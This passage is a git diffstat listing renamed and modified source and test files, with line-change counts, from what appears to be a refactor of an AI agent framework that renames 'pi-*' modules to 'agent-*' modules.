...efinition-adapter.after-tool-call.test.ts} | 8 +- ...t-tool-definition-adapter.logging.test.ts} | 20 +- ... => agent-tool-definition-adapter.test.ts} | 10 +- ...er.ts => agent-tool-definition-adapter.ts} | 32 +- ... agent-tool-handler-state.test-helpers.ts} | 2 +- ... => agent-tools-agent-config.exec.test.ts} | 2 +- ...st.ts => agent-tools-agent-config.test.ts} | 6 +- ...ema.ts => agent-tools-parameter-schema.ts} | 2 +- ...pi-tools.abort.ts => agent-tools.abort.ts} | 4 +- ...st.ts => agent-tools.availability.test.ts} | 2 +- ... agent-tools.before-tool-call.e2e.test.ts} | 2 +- ...ls.before-tool-call.embedded-mode.test.ts} | 2 +- ....before-tool-call.integration.e2e.test.ts} | 14 +- ...> agent-tools.before-tool-call.runtime.ts} | 0 ... => agent-tools.before-tool-call.state.ts} | 0 ...all.ts => agent-tools.before-tool-call.ts} | 4 +- ...liases-schemas-without-dropping-g.test.ts} | 4 +- ...ools.create-openclaw-coding-tools.test.ts} | 43 +- ...test.ts => agent-tools.cron-scope.test.ts} | 2 +- ...-tools.deferred-followup-guidance.test.ts} | 4 +- ...up.ts => agent-tools.deferred-followup.ts} | 2 +- ...ent-tools.message-provider-policy.test.ts} | 2 +- ...=> agent-tools.message-provider-policy.ts} | 0 ...nt-tools.model-provider-collision.test.ts} | 4 +- ...ams.test.ts => agent-tools.params.test.ts} | 2 +- ...-tools.params.ts => agent-tools.params.ts} | 2 +- ...icy.test.ts => agent-tools.policy.test.ts} | 106 +- ...-tools.policy.ts => agent-tools.policy.ts} | 2 +- ...agent-tools.read.host-edit-access.test.ts} | 8 +- ...t-tools.read.host-tilde-expansion.test.ts} | 8 +- .../{pi-tools.read.ts => agent-tools.read.ts} | 158 +- ...t-tools.read.workspace-root-guard.test.ts} | 6 +- ....test.ts => agent-tools.safe-bins.test.ts} | 6 +- ...dbox-mounted-paths.workspace-only.test.ts} | 6 +- ...ema.test.ts => agent-tools.schema.test.ts} | 10 +- ...-tools.schema.ts => agent-tools.schema.ts} | 6 +- src/agents/{pi-tools.ts => agent-tools.ts} | 52 +- ...pi-tools.types.ts => agent-tools.types.ts} | 0 ... agent-tools.workspace-only-false.test.ts} | 19 +- ...ts => agent-tools.workspace-paths.test.ts} | 8 +- src/agents/anthropic-payload-log.test.ts | 2 +- src/agents/anthropic-payload-log.ts | 6 +- src/agents/anthropic-payload-policy.test.ts | 8 +- src/agents/anthropic-payload-policy.ts | 2 +- .../anthropic-transport-stream.live.test.ts | 2 +- src/agents/anthropic-transport-stream.test.ts | 2 +- src/agents/anthropic-transport-stream.ts | 17 +- src/agents/anthropic-vertex-stream.ts | 2 +- src/agents/anthropic.setup-token.live.test.ts | 12 +- src/agents/apply-patch.ts | 2 +- src/agents/auth-health.test.ts | 13 +- .../auth-profile-runtime-contract.test.ts | 36 +- ...th-profiles.ensureauthprofilestore.test.ts | 39 +- .../auth-profiles.external-cli-scope.test.ts | 1 - ...tize-lastgood-round-robin-ordering.test.ts | 11 +- src/agents/auth-profiles.store-cache.test.ts | 7 - .../auth-profiles/oauth-manager.test.ts | 3 - .../auth-profiles/oauth-refresh-queue.test.ts | 2 +- src/agents/auth-profiles/oauth-test-utils.ts | 7 +- .../oauth.adopt-identity.test.ts | 2 +- .../oauth.concurrent-agents.test.ts | 2 +- .../oauth.fallback-to-main-agent.test.ts | 11 +- .../oauth.mirror-refresh.test.ts | 2 +- ...auth.openai-codex-refresh-fallback.test.ts | 7 +- src/agents/auth-profiles/oauth.ts | 10 +- src/agents/auth-profiles/order.ts | 5 +- src/agents/bash-process-registry.ts | 3 +- .../bash-tools.exec-approval-followup.ts | 2 +- ...sh-tools.exec-gateway-approval.e2e.test.ts | 2 +- src/agents/bash-tools.exec-host-gateway.ts | 2 +- .../bash-tools.exec-host-node-phases.ts | 2 +- src/agents/bash-tools.exec-host-node.ts | 2 +- src/agents/bash-tools.exec-host-shared.ts | 2 +- src/agents/bash-tools.exec-runtime.ts | 6 +- src/agents/bash-tools.exec-types.ts | 2 +- src/agents/bash-tools.exec.ts | 6 +- src/agents/bash-tools.process-send-keys.ts | 2 +- src/agents/bash-tools.process.ts | 2 +- src/agents/bash-tools.shared.test.ts | 18 +- src/agents/bash-tools.shared.ts | 4 +- src/agents/bootstrap-budget.ts | 23 +- src/agents/bootstrap-files.ts | 6 +- src/agents/btw-transcript.ts | 32 +- src/agents/btw.test.ts | 18 +- src/agents/btw.ts | 31 +- src/agents/bundle-mcp-config.ts | 2 +- src/agents/cache-trace.ts | 2 +- src/agents/chutes-oauth.ts | 2 +- src/agents/cli-backends.ts | 115 +- src/agents/cli-runner.context-engine.test.ts | 2 +- src/agents/cli-runner.helpers.test.ts | 4 +- src/agents/cli-runner.reliability.test.ts | 2 +- src/agents/cli-runner.test-support.ts | 2 +- src/agents/cli-runner.ts | 20 +- src/agents/cli-runner/claude-live-session.ts | 329 +- src/agents/cli-runner/execute.ts | 2 +- .../cli-runner/helpers.system-prompt.test.ts | 10 +- src/agents/cli-runner/helpers.ts | 8 +- src/agents/cli-runner/prepare.test.ts | 4 +- src/agents/cli-runner/prepare.ts | 12 +- src/agents/cli-runner/reliability.ts | 2 +- src/agents/cli-runner/session-history.test.ts | 2 +- src/agents/cli-runner/session-history.ts | 4 +- src/agents/cli-runner/types.ts | 6 +- src/agents/code-mode.ts | 18 +- .../codex-app-server.extensions.test.ts | 10 +- src/agents/codex-mcp-config.test.ts | 2 +- src/agents/codex-mcp-config.ts | 2 +- src/agents/command/attempt-callbacks.ts | 2 +- .../command/attempt-execution.cli.test.ts | 132 +- src/agents/command/attempt-execution.ts | 30 +- src/agents/command/cli-compaction.test.ts | 483 ++- src/agents/command/cli-compaction.ts | 133 +- src/agents/command/delivery.ts | 12 +- src/agents/command/session-store.test.ts | 34 +- src/agents/command/session-store.ts | 2 +- src/agents/compaction-partial-summary.test.ts | 10 +- src/agents/compaction-real-conversation.ts | 2 +- ...compaction.identifier-preservation.test.ts | 12 +- src/agents/compaction.retry.test.ts | 14 +- .../compaction.summarize-fallback.test.ts | 41 +- src/agents/compaction.test.ts | 6 +- src/agents/compaction.token-sanitize.test.ts | 16 +- .../compaction.tool-result-details.test.ts | 34 +- src/agents/compaction.ts | 13 +- src/agents/config.ts | 564 +++ src/agents/context-window-guard.test.ts | 6 +- src/agents/context.lookup.test.ts | 8 +- src/agents/context.test.ts | 2 +- src/agents/context.ts | 11 +- src/agents/copilot-dynamic-headers.ts | 2 +- src/agents/custom-api-registry.test.ts | 34 +- src/agents/custom-api-registry.ts | 10 +- ...s => embedded-agent-block-chunker.test.ts} | 2 +- ...ker.ts => embedded-agent-block-chunker.ts} | 0 ... embedded-agent-error-observation.test.ts} | 2 +- ...ts => embedded-agent-error-observation.ts} | 2 +- ...elpers.buildbootstrapcontextfiles.test.ts} | 2 +- ...-helpers.formatassistanterrortext.test.ts} | 6 +- ...ent-helpers.isbillingerrormessage.test.ts} | 12 +- ...sistant-text-blocks-but-preserves.test.ts} | 6 +- ...nt-helpers.sanitizeuserfacingtext.test.ts} | 12 +- ...d-helpers.ts => embedded-agent-helpers.ts} | 22 +- ...dded-agent-helpers.validate-turns.test.ts} | 4 +- .../bootstrap.test.ts | 0 .../bootstrap.ts | 2 +- .../errors.test.ts | 2 +- .../errors.ts | 6 +- .../failover-matches.test.ts | 0 .../failover-matches.ts | 2 +- .../google.ts | 0 .../images.ts | 2 +- .../messaging-dedupe.ts | 0 .../openai.ts | 4 +- .../provider-error-patterns.test.ts | 0 .../provider-error-patterns.ts | 0 .../sanitize-user-facing-text.ts | 0 .../thinking.test.ts | 0 .../thinking.ts | 0 .../turns.ts | 2 +- .../types.ts | 0 ...bedded-pi-lsp.ts => embedded-agent-lsp.ts} | 6 +- ...bedded-pi-mcp.ts => embedded-agent-mcp.ts} | 6 +- ...ssaging.ts => embedded-agent-messaging.ts} | 0 ...s.ts => embedded-agent-messaging.types.ts} | 0 ...payloads.ts => embedded-agent-payloads.ts} | 0 ...agent-runner-extraparams-moonshot.test.ts} | 6 +- ...ent-runner-extraparams-openrouter.test.ts} | 14 +- ...-agent-runner-extraparams-resolve.test.ts} | 2 +- ...ded-agent-runner-extraparams.live.test.ts} | 23 +- ...-agent-runner-extraparams.test-support.ts} | 6 +- ...embedded-agent-runner-extraparams.test.ts} | 84 +- ...runner.anthropic-tool-replay.live.test.ts} | 8 +- ...t-runner.buildembeddedsandboxinfo.test.ts} | 4 +- ... embedded-agent-runner.cache.live.test.ts} | 12 +- ...-runner.compaction-safety-timeout.test.ts} | 2 +- ...runner.createsystempromptoverride.test.ts} | 2 +- ...t.ts => embedded-agent-runner.e2e.test.ts} | 110 +- ... embedded-agent-runner.extensions.test.ts} | 12 +- ...ts => embedded-agent-runner.guard.test.ts} | 4 +- ...er.guard.waitforidle-before-flush.test.ts} | 6 +- ...ed-agent-runner.limithistoryturns.test.ts} | 4 +- ...unner.openai-tool-id-preservation.test.ts} | 6 +- ...ent-runner.resolvesessionagentids.test.ts} | 0 ...d-agent.auth-profile-rotation.e2e.test.ts} | 66 +- ...r.sanitize-session-history.policy.test.ts} | 4 +- ....sanitize-session-history.test-harness.ts} | 12 +- ...t-runner.sanitize-session-history.test.ts} | 14 +- ...bedded-agent-runner.splitsdktools.test.ts} | 8 +- src/agents/embedded-agent-runner.ts | 26 + .../abort.ts | 0 .../embedded-agent-runner/aliases.test.ts | 23 + .../cache-ttl.test.ts | 0 .../cache-ttl.ts | 8 +- .../compact-reasons.test.ts | 0 .../compact-reasons.ts | 0 .../compact.hooks.harness.ts | 65 +- .../compact.hooks.test.ts | 111 +- .../compact.queued.ts | 50 +- .../embedded-agent-runner/compact.runtime.ts | 15 + .../compact.runtime.types.ts | 6 + .../compact.ts | 154 +- .../compact.types.ts | 2 +- ...compaction-duplicate-user-messages.test.ts | 0 .../compaction-duplicate-user-messages.ts | 0 .../compaction-hooks.ts | 2 +- .../compaction-runtime-context.test.ts | 0 .../compaction-runtime-context.ts | 6 +- .../compaction-safety-timeout.ts | 0 .../compaction-successor-transcript.test.ts | 2 +- .../compaction-successor-transcript.ts | 8 +- .../context-engine-capabilities.ts | 0 .../context-engine-maintenance.test.ts | 0 .../context-engine-maintenance.ts | 0 .../context-truncation-notice.ts | 0 .../delivery-evidence.ts | 0 .../effective-tool-policy.test.ts | 21 - .../effective-tool-policy.ts | 2 +- .../empty-assistant-turn.ts | 2 +- .../execution-phase.ts | 0 .../extensions.test.ts | 14 +- .../extensions.ts | 35 +- ...tra-params.cache-retention-default.test.ts | 8 +- .../extra-params.google.test.ts | 6 +- .../extra-params.kilocode.test.ts | 9 +- ...ra-params.openrouter-cache-control.test.ts | 4 +- .../extra-params.provider-runtime.test.ts | 6 +- .../extra-params.sampling.test.ts | 6 +- .../extra-params.test-support.ts | 4 +- .../extra-params.ts | 38 +- .../extra-params.zai-tool-stream.test.ts | 6 +- .../failure-signal.test.ts | 0 .../failure-signal.ts | 0 .../google-prompt-cache.test.ts | 4 +- .../google-prompt-cache.ts | 8 +- .../history.test.ts | 4 +- .../history.ts | 2 +- .../kilocode.test.ts | 0 .../lanes.test.ts | 0 .../lanes.ts | 0 .../logger.ts | 0 .../manual-compaction-boundary.test.ts | 6 +- .../manual-compaction-boundary.ts | 4 +- .../message-action-discovery-input.test.ts | 0 .../message-action-discovery-input.ts | 0 .../model-context-tokens.ts | 10 + .../model-discovery-cache.ts | 18 +- ...orward-compat.errors-and-overrides.test.ts | 9 +- .../model.forward-compat.test-support.ts | 0 .../model.forward-compat.test.ts | 1 - .../model.inline-provider.test.ts | 0 .../model.inline-provider.ts | 2 +- .../model.provider-normalization.ts | 6 + .../model.provider-runtime.test-support.ts | 0 .../model.skip-agent-discovery-hooks.test.ts} | 15 +- .../model.startup-retry.test.ts | 4 +- .../model.static-catalog.test.ts | 0 .../model.static-catalog.ts | 57 +- .../model.test-harness.ts | 2 +- .../model.test.ts | 64 +- .../model.ts | 187 +- .../openrouter-model-capabilities.test.ts | 0 .../openrouter-model-capabilities.ts | 0 .../post-compaction-loop-guard.test.ts | 0 .../post-compaction-loop-guard.ts | 0 .../prompt-cache-observability.test.ts | 0 .../prompt-cache-observability.ts | 0 .../prompt-cache-retention.test.ts | 0 .../prompt-cache-retention.ts | 2 +- .../replay-history.test.ts | 2 +- .../replay-history.ts | 13 +- .../replay-state.ts | 0 .../resource-loader.test.ts | 16 +- .../resource-loader.ts | 8 +- .../result-fallback-classifier.test.ts | 6 +- .../result-fallback-classifier.ts | 12 +- .../run-state.ts | 10 +- .../run.before-agent-reply-cron.test.ts | 16 +- .../run.codex-app-server-recovery.test.ts | 20 +- .../run.codex-server-error-fallback.test.ts | 8 +- .../run.compaction-loop-guard.test.ts | 22 +- ...ss-provider-fallback-error-context.test.ts | 65 +- .../run.empty-error-retry.test.ts | 20 +- .../run.incomplete-turn.test.ts | 68 +- .../run.overflow-compaction.fixture.ts | 0 .../run.overflow-compaction.harness.ts | 10 +- .../run.overflow-compaction.loop.test.ts | 52 +- .../run.overflow-compaction.test.ts | 104 +- .../run.timeout-triggered-compaction.test.ts | 36 +- .../run.ts | 110 +- .../run/AGENTS.md | 0 .../run/CLAUDE.md | 0 .../run/abortable.test.ts | 0 .../run/abortable.ts | 0 .../run/assistant-failover.test.ts | 2 +- .../run/assistant-failover.ts | 6 +- .../run/attempt-bootstrap-routing.ts | 0 .../run/attempt-http-runtime.ts | 0 .../run/attempt-session.ts | 2 +- .../run/attempt-stage-timing.test.ts | 0 .../run/attempt-stage-timing.ts | 0 .../run/attempt-system-prompt.test.ts | 0 .../run/attempt-system-prompt.ts | 0 .../attempt-tool-construction-plan.test.ts | 32 + .../run/attempt-tool-construction-plan.ts | 4 +- .../run/attempt-trajectory-status.test.ts | 0 .../run/attempt-trajectory-status.ts | 0 .../run/attempt.context-engine-helpers.ts | 4 +- .../attempt.memory-flush-forwarding.test.ts | 10 +- .../attempt.model-diagnostic-events.test.ts | 2 +- .../run/attempt.model-diagnostic-events.ts | 2 +- .../run/attempt.prompt-helpers.test.ts | 0 .../run/attempt.prompt-helpers.ts | 48 +- .../run/attempt.queue-message.test.ts | 18 +- .../run/attempt.session-lock.test.ts | 31 +- .../run/attempt.session-lock.ts | 28 +- .../run/attempt.sessions-yield.ts | 10 +- ...t.spawn-workspace.bootstrap-marker.test.ts | 0 ....spawn-workspace.bootstrap-routing.test.ts | 0 ....spawn-workspace.bootstrap-warning.test.ts | 0 .../attempt.spawn-workspace.cache-ttl.test.ts | 0 ...mpt.spawn-workspace.context-engine.test.ts | 133 +- ....spawn-workspace.context-injection.test.ts | 2 +- ...pt.spawn-workspace.resource-loader.test.ts | 0 ...mpt.spawn-workspace.sessions-spawn.test.ts | 6 +- .../attempt.spawn-workspace.test-support.ts | 107 +- .../attempt.spawn-workspace.timeout.test.ts | 0 .../run/attempt.stop-reason-recovery.test.ts | 8 +- .../run/attempt.stop-reason-recovery.ts | 11 +- .../run/attempt.subscription-cleanup.test.ts | 0 .../run/attempt.subscription-cleanup.ts | 6 +- .../run/attempt.test.ts | 34 +- .../run/attempt.thread-helpers.ts | 0 .../attempt.tool-call-argument-repair.test.ts | 11 +- .../run/attempt.tool-call-argument-repair.ts | 8 +- .../attempt.tool-call-normalization.test.ts | 2 +- .../run/attempt.tool-call-normalization.ts | 16 +- .../run/attempt.tool-run-context.ts | 0 .../run/attempt.transcript-policy.test.ts | 1 + .../run/attempt.transcript-policy.ts | 0 .../run/attempt.ts | 443 +-- .../run/auth-controller.test.ts | 10 +- .../run/auth-controller.ts | 32 +- .../run/auth-profile-failure-policy.test.ts | 0 .../run/auth-profile-failure-policy.ts | 2 +- .../run/auth-profile-failure-policy.types.ts | 0 .../run/backend.ts | 0 .../run/codex-app-server-recovery.ts | 0 ...compaction-retry-aggregate-timeout.test.ts | 0 .../run/compaction-retry-aggregate-timeout.ts | 0 .../run/compaction-timeout.test.ts | 0 .../run/compaction-timeout.ts | 2 +- .../run/failover-observation.test.ts | 0 .../run/failover-observation.ts | 4 +- .../run/failover-policy.test.ts | 0 .../run/failover-policy.ts | 2 +- .../run/fallbacks.test.ts | 0 .../run/fallbacks.ts | 0 .../run/helpers.resolve-error-context.test.ts | 6 +- .../run/helpers.test.ts | 2 +- .../run/helpers.ts | 12 +- .../run/history-image-prune.test.ts | 4 +- .../run/history-image-prune.ts | 2 +- .../run/idle-timeout-breaker.test.ts | 0 .../run/idle-timeout-breaker.ts | 0 .../run/images.test.ts | 0 .../run/images.ts | 2 +- .../run/incomplete-turn.ts | 6 +- .../run/llm-idle-timeout.test.ts | 2 +- .../run/llm-idle-timeout.ts | 6 +- .../run/message-merge-strategy.test.ts | 0 .../run/message-merge-strategy.ts | 0 .../run/message-tool-terminal.test.ts | 2 +- .../run/message-tool-terminal.ts | 17 +- .../run/message-transform-stream-wrapper.ts | 30 + .../run/midturn-precheck.ts | 0 .../run/params.ts | 14 +- .../run/payloads.errors.test.ts | 4 +- .../run/payloads.test-helpers.ts | 0 .../run/payloads.test.ts | 2 +- .../run/payloads.ts | 13 +- .../run/preemptive-compaction.test.ts | 4 +- .../run/preemptive-compaction.ts | 6 +- .../run/preemptive-compaction.types.ts | 0 .../run/retry-limit.ts | 6 +- .../run/runtime-context-prompt.test.ts | 0 .../run/runtime-context-prompt.ts | 0 .../run/setup.test.ts | 0 .../run/setup.ts | 21 +- .../run/stream-wrapper.ts | 8 +- .../run/tool-media-payloads.test.ts | 0 .../run/tool-media-payloads.ts | 14 +- ...transcript-repair-runtime-contract.test.ts | 2 +- .../run/trigger-policy.test.ts | 0 .../run/trigger-policy.ts | 0 .../run/types.ts | 18 +- .../runs.test.ts | 58 +- .../runs.ts | 103 +- .../sandbox-info.ts | 0 ...ession-history.tool-result-details.test.ts | 6 +- .../session-file-key.ts | 0 .../session-manager-cache.test.ts | 0 .../session-manager-cache.ts | 0 .../session-manager-init.ts | 2 +- .../sessions-yield.orchestration.test.ts | 18 +- .../skills-runtime.integration.test.ts | 0 .../skills-runtime.test.ts | 0 .../skills-runtime.ts | 0 .../stream-resolution.test.ts | 41 +- .../stream-resolution.ts | 39 +- .../system-prompt.test.ts | 4 +- .../system-prompt.ts | 8 +- .../thinking.test.ts | 4 +- .../thinking.ts | 4 +- .../tool-call-argument-decoding.test.ts | 24 + .../tool-call-argument-decoding.ts | 20 +- .../tool-name-allowlist.test.ts | 26 +- .../tool-name-allowlist.ts | 11 +- .../tool-result-char-estimator.test.ts | 2 +- .../tool-result-char-estimator.ts | 2 +- .../tool-result-context-guard.test.ts | 18 +- .../tool-result-context-guard.ts | 6 +- .../tool-result-truncation.test.ts | 6 +- .../tool-result-truncation.ts | 8 +- .../tool-schema-runtime.test.ts | 0 .../tool-schema-runtime.ts | 2 +- .../tool-split.ts | 6 +- .../transcript-file-state.test.ts | 0 .../transcript-file-state.ts | 13 +- .../transcript-rewrite.test.ts | 4 +- .../transcript-rewrite.ts | 4 +- .../types.ts | 16 +- .../usage-accumulator.test.ts | 0 .../usage-accumulator.ts | 0 .../usage-reporting.test.ts | 26 +- .../utils.ts | 6 +- .../wait-for-idle-before-flush.ts | 0 ...-subscribe.block-reply-rejections.test.ts} | 4 +- ...ent-subscribe.code-span-awareness.test.ts} | 8 +- ...gent-subscribe.compaction-test-helpers.ts} | 0 ...> embedded-agent-subscribe.e2e-harness.ts} | 32 +- ...-subscribe.handlers.compaction.runtime.ts} | 0 ...ent-subscribe.handlers.compaction.test.ts} | 10 +- ...ed-agent-subscribe.handlers.compaction.ts} | 17 +- ...gent-subscribe.handlers.lifecycle.test.ts} | 14 +- ...ded-agent-subscribe.handlers.lifecycle.ts} | 22 +- ...agent-subscribe.handlers.messages.test.ts} | 10 +- ...dded-agent-subscribe.handlers.messages.ts} | 50 +- ...nt-subscribe.handlers.tools.media.test.ts} | 119 +- ...ed-agent-subscribe.handlers.tools.test.ts} | 10 +- ...mbedded-agent-subscribe.handlers.tools.ts} | 32 +- ...s => embedded-agent-subscribe.handlers.ts} | 20 +- ...mbedded-agent-subscribe.handlers.types.ts} | 34 +- ...subscribe.lifecycle-billing-error.test.ts} | 4 +- ...ubscribe.openai-responses.test-helpers.ts} | 0 ...ts => embedded-agent-subscribe.promise.ts} | 0 ...=> embedded-agent-subscribe.raw-stream.ts} | 0 ...bedded-agent-subscribe.reply-tags.test.ts} | 12 +- ... embedded-agent-subscribe.shared-types.ts} | 2 +- ...ore-tool-execution-start-preserve.test.ts} | 26 +- ...es-not-append-text-end-content-is.test.ts} | 4 +- ...onblockreplyflush-callback-is-not.test.ts} | 8 +- ...t-duplicate-text-end-repeats-full.test.ts} | 4 +- ...emit-duplicate-block-replies-text.test.ts} | 16 +- ...s-block-replies-text-end-does-not.test.ts} | 8 +- ...oning-as-separate-message-enabled.test.ts} | 10 +- ...ppresses-output-without-start-tag.test.ts} | 44 +- ...as-action-metadata-tool-summaries.test.ts} | 4 +- ...ts-final-answer-block-replies-are.test.ts} | 10 +- ...eps-indented-fenced-blocks-intact.test.ts} | 4 +- ...nced-blocks-splitting-inside-them.test.ts} | 4 +- ...-single-line-fenced-blocks-reopen.test.ts} | 20 +- ...-soft-chunks-paragraph-preference.test.ts} | 4 +- ...ion.subscribeembeddedagentsession.test.ts} | 81 +- ...uppresses-commentary-phase-output.test.ts} | 6 +- ...ge-end-block-replies-message-tool.test.ts} | 10 +- ...mpaction-retries-before-resolving.test.ts} | 4 +- ...-agent-subscribe.tool-text-diagnostics.ts} | 6 +- ...ded-agent-subscribe.tools.extract.test.ts} | 2 +- ...edded-agent-subscribe.tools.media.test.ts} | 6 +- ...=> embedded-agent-subscribe.tools.test.ts} | 2 +- ...s.ts => embedded-agent-subscribe.tools.ts} | 6 +- ...bscribe.ts => embedded-agent-subscribe.ts} | 52 +- ...s.ts => embedded-agent-subscribe.types.ts} | 14 +- ...-utils.strip-model-special-tokens.test.ts} | 2 +- ...s.test.ts => embedded-agent-utils.test.ts} | 4 +- ...edded-utils.ts => embedded-agent-utils.ts} | 6 +- src/agents/embedded-agent.runtime.ts | 11 + .../{pi-embedded.ts => embedded-agent.ts} | 19 +- src/agents/execution-contract.test.ts | 6 +- src/agents/execution-contract.ts | 2 +- src/agents/failover-error.test.ts | 4 +- src/agents/failover-error.ts | 8 +- src/agents/failover-policy.test.ts | 2 +- src/agents/failover-policy.ts | 2 +- src/agents/google-gemini-switch.live.test.ts | 15 +- src/agents/harness-runtimes.test.ts | 35 +- src/agents/harness-runtimes.ts | 68 +- src/agents/harness/builtin-openclaw.ts | 13 + src/agents/harness/builtin-pi.ts | 13 - .../harness/codex-app-server-extensions.ts | 2 +- .../harness/context-engine-lifecycle.test.ts | 2 +- .../harness/context-engine-lifecycle.ts | 8 +- src/agents/harness/hook-helpers.ts | 4 +- src/agents/harness/lifecycle-hook-helpers.ts | 4 + src/agents/harness/native-hook-relay.ts | 12 +- src/agents/harness/policy.ts | 12 +- .../harness/prompt-compaction-hook-helpers.ts | 20 +- src/agents/harness/registry.test.ts | 16 +- src/agents/harness/runtime-plugin.test.ts | 43 +- src/agents/harness/runtime-plugin.ts | 41 +- src/agents/harness/selection.test.ts | 156 +- src/agents/harness/selection.ts | 101 +- .../harness/tool-result-middleware.test.ts | 14 +- src/agents/harness/tool-result-middleware.ts | 2 +- src/agents/harness/types.ts | 14 +- src/agents/harness/v2.test.ts | 16 +- .../live-cache-regression-runner.test.ts | 10 +- src/agents/live-cache-regression-runner.ts | 8 +- src/agents/live-cache-test-support.ts | 77 +- src/agents/live-model-switch.test.ts | 24 +- src/agents/live-model-switch.ts | 14 +- src/agents/live-model-turn-probes.ts | 23 +- src/agents/live-provider-owner.ts | 4 +- src/agents/live-test-helpers.ts | 3 +- src/agents/live-test-provider-drift.ts | 6 +- src/agents/local-model-lean.test.ts | 2 +- src/agents/local-model-lean.ts | 2 +- src/agents/minimax.live.test.ts | 2 +- src/agents/model-auth.profiles.test.ts | 10 +- src/agents/model-auth.test.ts | 35 +- src/agents/model-auth.ts | 49 +- src/agents/model-catalog.test.ts | 90 +- src/agents/model-catalog.ts | 59 +- src/agents/model-compat.test.ts | 40 +- src/agents/model-fallback-observation.ts | 4 +- .../model-fallback.run-embedded.e2e.test.ts | 22 +- src/agents/model-fallback.test.ts | 51 +- src/agents/model-fallback.ts | 28 +- src/agents/model-fallback.types.ts | 2 +- src/agents/model-picker-visibility.ts | 10 +- src/agents/model-registry-loader.ts | 30 + src/agents/model-runtime-aliases.test.ts | 24 +- src/agents/model-runtime-aliases.ts | 217 +- src/agents/model-runtime-policy.test.ts | 22 +- src/agents/model-runtime-policy.ts | 2 +- src/agents/model-scan.test.ts | 4 +- src/agents/model-scan.ts | 26 +- src/agents/model-selection-cli.test.ts | 4 - src/agents/model-selection-shared.ts | 23 +- src/agents/model-selection.test.ts | 64 +- src/agents/model-suppression.test.ts | 6 +- ...els-config.applies-config-env-vars.test.ts | 75 + src/agents/models-config.e2e-harness.ts | 10 +- src/agents/models-config.merge.test.ts | 31 + src/agents/models-config.merge.ts | 10 + src/agents/models-config.plan.ts | 20 +- ...providers.implicit.discovery-scope.test.ts | 57 + .../models-config.providers.implicit.ts | 64 +- ...odels-config.providers.live-filter.test.ts | 8 +- ....providers.plugin-allowlist-compat.test.ts | 204 -- .../models-config.providers.secret-helpers.ts | 11 +- ...s-writing-models-json-no-env-token.test.ts | 1 - src/agents/models-config.ts | 2 + .../models-config.write-serialization.test.ts | 17 + src/agents/models.profiles.live.test.ts | 84 +- .../modes/interactive/components/diff.ts | 158 + .../components/keybinding-hints.ts | 53 + .../interactive/components/visual-truncate.ts | 50 + src/agents/modes/interactive/theme/dark.json | 86 + src/agents/modes/interactive/theme/light.json | 85 + .../modes/interactive/theme/theme-schema.json | 335 ++ src/agents/modes/interactive/theme/theme.ts | 1272 +++++++ src/agents/moonshot.live.test.ts | 2 +- src/agents/openai-codex-routing.test.ts | 109 +- src/agents/openai-codex-routing.ts | 92 +- src/agents/openai-completions-compat.ts | 2 +- .../openai-reasoning-compat.live.test.ts | 16 +- src/agents/openai-reasoning-effort.test.ts | 2 +- .../openai-responses-payload-policy.test.ts | 2 +- .../openai-responses.reasoning-replay.test.ts | 8 +- src/agents/openai-text-verbosity.ts | 2 +- src/agents/openai-thinking-contract.test.ts | 25 +- src/agents/openai-tool-schema.ts | 3 +- src/agents/openai-transport-stream.test.ts | 20 +- src/agents/openai-transport-stream.ts | 86 +- ...enclaw-owned-tool-runtime-contract.test.ts | 44 +- .../openclaw-tools.nodes-workspace-guard.ts | 2 +- src/agents/openclaw-tools.sessions.test.ts | 5 +- ...subagents.sessions-spawn.lifecycle.test.ts | 8 +- src/agents/openclaw-tools.ts | 10 +- src/agents/openclaw-tools.update-plan.test.ts | 18 +- .../outcome-fallback-runtime-contract.test.ts | 13 +- src/agents/pi-embedded-runner.ts | 41 - src/agents/pi-embedded-runner/aliases.test.ts | 17 - .../anthropic-cache-control-payload.ts | 1 - .../pi-embedded-runner/compact.runtime.ts | 15 - .../compact.runtime.types.ts | 6 - .../model-context-tokens.ts | 11 - .../model.provider-normalization.ts | 9 - .../pi-embedded-runner/run/backend.test.ts | 29 - src/agents/pi-embedded-runner/runtime.ts | 24 - src/agents/pi-embedded.runtime.ts | 11 - src/agents/pi-model-discovery-runtime.ts | 10 - .../pi-model-discovery.compat.e2e.test.ts | 24 - src/agents/pi-model-discovery.ts | 267 -- src/agents/pi-tools.host-edit.ts | 417 --- .../pi-tools.read.host-edit-recovery.test.ts | 628 ---- src/agents/plugin-text-transforms.test.ts | 4 +- src/agents/plugin-text-transforms.ts | 14 +- src/agents/prompt-surface.ts | 9 +- src/agents/provider-id.ts | 31 +- src/agents/provider-local-service.test.ts | 2 +- src/agents/provider-local-service.ts | 6 +- src/agents/provider-request-config.ts | 2 +- src/agents/provider-stream.ts | 4 +- src/agents/provider-transport-fetch.test.ts | 2 +- src/agents/provider-transport-fetch.ts | 12 +- src/agents/provider-transport-stream.test.ts | 4 +- src/agents/provider-transport-stream.ts | 26 +- src/agents/realtime-bootstrap-context.ts | 2 +- src/agents/run-cleanup-timeout.test.ts | 26 +- src/agents/run-cleanup-timeout.ts | 2 +- src/agents/runtime-plan/auth.ts | 12 +- src/agents/runtime-plan/build.test.ts | 10 +- src/agents/runtime-plan/build.ts | 22 +- .../runtime-plan/tools.diagnostics.test.ts | 2 +- src/agents/runtime-plan/tools.test.ts | 4 +- src/agents/runtime-plan/tools.ts | 4 +- src/agents/runtime-plan/types.compat.test.ts | 2 +- src/agents/runtime-plan/types.test.ts | 2 +- src/agents/runtime-plan/types.ts | 3 +- src/agents/runtime/index.ts | 23 + src/agents/runtime/proxy.test.ts | 108 + src/agents/runtime/proxy.ts | 399 +++ ...andbox-paths.windows-drive-resolve.test.ts | 2 +- src/agents/sandbox-tool-policy.test.ts | 2 +- .../workspace-skills-bridge-readonly.test.ts | 188 +- ...ema-normalization-runtime-contract.test.ts | 4 +- src/agents/session-file-repair.ts | 2 +- src/agents/session-raw-append-message.ts | 2 +- src/agents/session-runtime-compat.ts | 52 + src/agents/session-suspension.ts | 2 +- .../session-tool-result-guard-wrapper.ts | 10 +- src/agents/session-tool-result-guard.test.ts | 6 +- ...ult-guard.tool-result-persist-hook.test.ts | 4 +- ...ool-result-guard.transcript-events.test.ts | 4 +- src/agents/session-tool-result-guard.ts | 8 +- ...sion-transcript-repair.attachments.test.ts | 2 +- src/agents/session-transcript-repair.test.ts | 2 +- src/agents/session-transcript-repair.ts | 2 +- src/agents/sessions/agent-session-runtime.ts | 441 +++ src/agents/sessions/agent-session-services.ts | 211 ++ src/agents/sessions/agent-session.ts | 3176 +++++++++++++++++ src/agents/sessions/auth-guidance.ts | 25 + 